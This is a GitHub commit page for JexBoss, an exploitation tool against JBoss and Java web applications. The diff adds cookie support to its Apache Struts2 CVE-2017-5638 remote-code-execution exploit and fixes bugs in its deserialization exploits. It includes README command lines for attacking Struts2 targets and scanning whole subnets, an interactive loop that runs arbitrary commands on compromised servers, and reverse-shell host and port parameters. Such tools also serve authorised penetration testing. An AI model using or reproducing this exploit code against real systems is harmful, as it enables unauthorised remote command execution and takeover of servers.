Skip to content

Commit

Permalink
* Add Cookies support on the Struts2 exploit (useful for testing inte…
Browse files Browse the repository at this point in the history
…rnal pages that need authentication)

* Fix bug when trying to exploit deserialization on the web-console for the second time.
* Fix bug when trying to exploit deserialization on the JMXInvokerServlet for the second time.
* Add struts2 demo https://www.youtube.com/watch?v=PSRsVcfmRSg on the README
  • Loading branch information
joaomatosf committed Mar 17, 2017
1 parent b51925d commit 43a4d4d
Show file tree
Hide file tree
Showing 3 changed files with 30 additions and 7 deletions.
15 changes: 15 additions & 0 deletions README.md
Expand Up @@ -76,6 +76,8 @@ The exploitation vectors are:
- tested and working against multiple java applications, platforms, etc, via HTTP POST Parameters
* Servlet Deserialization
- tested and working against multiple java applications, platforms, etc, via servlets that process serialized objets (e.g. when you see an "Invoker" in a link)
* Apache Struts2 CVE-2017-5638
- tested in Apache Struts 2 applications
* Others

Videos
Expand All @@ -89,6 +91,9 @@ Videos

[![Alt text](https://img.youtube.com/vi/yI54sRqFOyI/0.jpg)](https://www.youtube.com/watch?v=yI54sRqFOyI)

* Exploiting Apache Struts2 (RCE) with Jexboss (CVE-2017-5638)

[![Alt text](https://img.youtube.com/vi/PSRsVcfmRSg/0.jpg)](https://www.youtube.com/watch?v=PSRsVcfmRSg)

Screenshots
----
Expand Down Expand Up @@ -162,6 +167,16 @@ $ python jexboss.py -u http://vulnerable_java_app/page.jsf --app-unserialize -H
$ python jexboss.py -u http://vulnerable_java_app/path --servlet-unserialize
```

* For Apache Struts 2 (CVE-2017-5638)
```
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2
```

* For Apache Struts 2 (CVE-2017-5638) with cookies for authenticated resources
```
$ python jexboss.py -u http://vulnerable_java_struts2_app/page.action --struts2 --cookies "JSESSIONID=24517D9075136F202DCE20E9C89D424D"
```

* Auto scan mode:
```
$ python jexboss.py -mode auto-scan -network 192.168.0.0/24 -ports 8080,80 -results report_auto_scan.log
Expand Down
4 changes: 3 additions & 1 deletion _exploits.py
Expand Up @@ -70,7 +70,7 @@ def get_successfully(url, path):
return result


def exploit_struts2_jakarta_multipart(url,cmd):
def exploit_struts2_jakarta_multipart(url,cmd, cookies):
"""
Exploit Jakarta Multipart parser in Apache Struts (CVE-2017-5638)
Exploit improved from available in metasploit. This version works against Windows with Eastern language.
Expand Down Expand Up @@ -99,6 +99,7 @@ def exploit_struts2_jakarta_multipart(url,cmd):
"(#ros.flush())}" %cmd)

headers['Content-Type'] = content_type
if cookies is not None: headers['Cookie'] = cookies
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)

if r.status == 404:
Expand Down Expand Up @@ -825,6 +826,7 @@ def exploit_admin_console(url, jboss_login):
state = get_viewstate_value(str(r.data))
#payload = ("login_form=login_form&login_form:name=%s&login_form:password=%s&login_form:submit=Login"
# "&javax.faces.ViewState=%s" % (username, password, state))
if state is None: return 505
payload = "login_form=login_form&login_form%3Aname="+username+"&login_form%3Apassword="+password+"&login_form%3Asubmit=Login&javax.faces.ViewState="+url_encode(state)
headers['Content-Type'] = "application/x-www-form-urlencoded"
if jboss_login == "admin:admin":
Expand Down
18 changes: 12 additions & 6 deletions jexboss.py
Expand Up @@ -339,7 +339,7 @@ def check_vul(url):
r = gl_http_pool.request('GET', url, redirect=False, headers=headers)
if r.status in (301, 302, 303, 307, 308):
cookie = r.getheader('set-cookie')
headers['Cookie'] = cookie
if cookie is not None: headers['Cookie'] = cookie
r = gl_http_pool.request('GET', url, redirect=True, headers=headers)

if 'x-java-serialized-object' in r.getheader('Content-Type'):
Expand All @@ -349,7 +349,7 @@ def check_vul(url):

elif vector == 'Struts2':

result = _exploits.exploit_struts2_jakarta_multipart(url, 'jexboss')
result = _exploits.exploit_struts2_jakarta_multipart(url, 'jexboss', gl_args.cookies)
if result is None or "Could not get command" in str(result) :
paths[vector] = 100
elif 'jexboss' in str(result) and "<html>" not in str(result).lower():
Expand Down Expand Up @@ -525,7 +525,8 @@ def auto_exploit(url, exploit_type):
host, port = get_host_port_reverse_params()
if host == port == gl_args.cmd == None: return False
result = _exploits.exploit_servlet_deserialization(url + "/web-console/Invoker", host=host, port=port,
cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget)
cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget,
gadget_file=gl_args.load_gadget)
elif exploit_type == "JMXInvokerServlet":

# if the user not provided the path
Expand All @@ -539,7 +540,8 @@ def auto_exploit(url, exploit_type):
host, port = get_host_port_reverse_params()
if host == port == gl_args.cmd == None: return False
result = _exploits.exploit_servlet_deserialization(url + "/invoker/JMXInvokerServlet", host=host, port=port,
cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget)
cmd=gl_args.cmd, is_win=gl_args.windows, gadget=gl_args.gadget,
gadget_file=gl_args.load_gadget)

elif exploit_type == "admin-console":

Expand Down Expand Up @@ -684,7 +686,7 @@ def shell_http_struts(url):
)
print_and_flush("# ----------------------------------------- #\n")

resp = _exploits.exploit_struts2_jakarta_multipart(url,'whoami')
resp = _exploits.exploit_struts2_jakarta_multipart(url,'whoami', gl_args.cookies)

print_and_flush(resp.replace('\\n', '\n'), same_line=True)
logging.info("Server %s exploited!" %url)
Expand All @@ -701,7 +703,7 @@ def shell_http_struts(url):
if cmd == "exit":
break

resp = _exploits.exploit_struts2_jakarta_multipart(url, cmd)
resp = _exploits.exploit_struts2_jakarta_multipart(url, cmd, gl_args.cookies)
print_and_flush(resp.replace('\\n', '\n'))


Expand Down Expand Up @@ -1080,6 +1082,10 @@ def main():
parser.add_argument('--jboss-login', "-J", help="JBoss login and password for exploit admin-console in JBoss 5 and JBoss 6 "
"(default: admin:admin)", metavar='LOGIN:PASS', default='admin:admin')
parser.add_argument('--timeout', help="Seconds to wait before timeout connection (default 3)", default=3, type=int)

parser.add_argument('--cookies', help="Specify cookies for Struts 2 Exploit. Use this to test features that require authentication. "
"Format: \"NAME1=VALUE1; NAME2=VALUE2\" (eg. --cookie \"JSESSIONID=24517D9075136F202DCE20E9C89D424D\""
, type=str, metavar='NAME=VALUE')
#parser.add_argument('--retries', help="Retries when the connection timeouts (default 3)", default=3, type=int)

# advanced parameters ---------------------------------------------------------------------------------------
Expand Down

0 comments on commit 43a4d4d

Please sign in to comment.